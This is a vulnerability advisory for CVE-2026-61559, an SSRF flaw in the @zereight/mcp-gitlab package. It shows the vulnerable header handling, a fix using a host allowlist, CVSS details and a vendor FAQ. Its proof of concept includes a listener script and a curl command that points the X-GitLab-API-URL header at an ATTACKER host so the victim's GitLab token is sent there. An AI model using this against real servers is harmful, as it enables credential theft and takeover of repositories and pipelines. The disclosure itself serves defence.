CVE-2026-61559

@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // no allowlist check
}

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
  new URL(dynamicApiUrl);                          // syntax-only check
  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // any reachable host accepted
}

# 1. Start a listener on the attacker host (port 9099)
#    Any HTTP server that logs incoming headers will work.
python3 -c "
import http.server, sys
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print('HEADERS:', dict(self.headers))
        self.send_response(200); self.end_headers()
http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever()
"

# 2. Send any MCP tool call with the malicious header
curl -X POST http://TARGET:3002/mcp \
  -H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \
  -H "Authorization: Bearer ANY_VALID_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}'

GET /api/v4/projects/1/issues HTTP/1.1
private-token: <VICTIM_GITLAB_TOKEN>
Host: ATTACKER:9099

The attacker obtains the victim's GitLab Personal Access Token or CI/CD job
token in a single request. With the stolen token they gain full GitLab API
access at the victim's permission level: read of all repositories, issues,
merge requests, CI/CD pipeline definitions and variables/secrets; write to push
code, modify pipelines, create or delete resources, and rotate CI/CD variables.

CVSS factors:

• PR:L: reaching the HTTP transport requires presenting some auth token
• S:C: the attack crosses the boundary into GitLab (a separate security domain)
• C:H: victim's GitLab token stolen in one request; full read of all scoped data
• I:H: attacker can push code and modify pipelines with the stolen token
• A:N: the MCP server continues operating normally

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-61559 has a CVSS score of 9.6 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.1.27); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Validate X-GitLab-API-URL against a configurable allowlist of trusted GitLab
hostnames before assigning the value to apiUrl. Reject any request whose
X-GitLab-API-URL hostname is not in the allowlist. Apply this check at both
index.ts:11541 and index.ts:11787.

Example fix for the Streamable HTTP handler:

const ALLOWED_HOSTS = (process.env.GITLAB_ALLOWED_HOSTS ?? "")
  .split(",").map(h => h.trim()).filter(Boolean);

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
  const parsed = new URL(dynamicApiUrl);
  if (!ALLOWED_HOSTS.includes(parsed.hostname)) {
    throw new Error(`X-GitLab-API-URL hostname not in allowlist: ${parsed.hostname}`);
  }
  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);
}

Document GITLAB_ALLOWED_HOSTS in the README alongside ENABLE_DYNAMIC_API_URL.
If maintaining an allowlist is not feasible, disable ENABLE_DYNAMIC_API_URL by
default and document the token-forwarding risk prominently.

1. What is CVE-2026-61559? CVE-2026-61559 is a critical-severity server-side request forgery (SSRF) vulnerability in @zereight/mcp-gitlab (npm), affecting versions >= 0.0.1, < 2.1.27. It is fixed in 2.1.27. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-61559? CVE-2026-61559 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @zereight/mcp-gitlab are affected by CVE-2026-61559? @zereight/mcp-gitlab (npm) versions >= 0.0.1, < 2.1.27 is affected.
4. Is there a fix for CVE-2026-61559? Yes. CVE-2026-61559 is fixed in 2.1.27. Upgrade to this version or later.
5. Is CVE-2026-61559 exploitable, and should I be worried? Whether CVE-2026-61559 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-61559 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-61559? Upgrade @zereight/mcp-gitlab to 2.1.27 or later.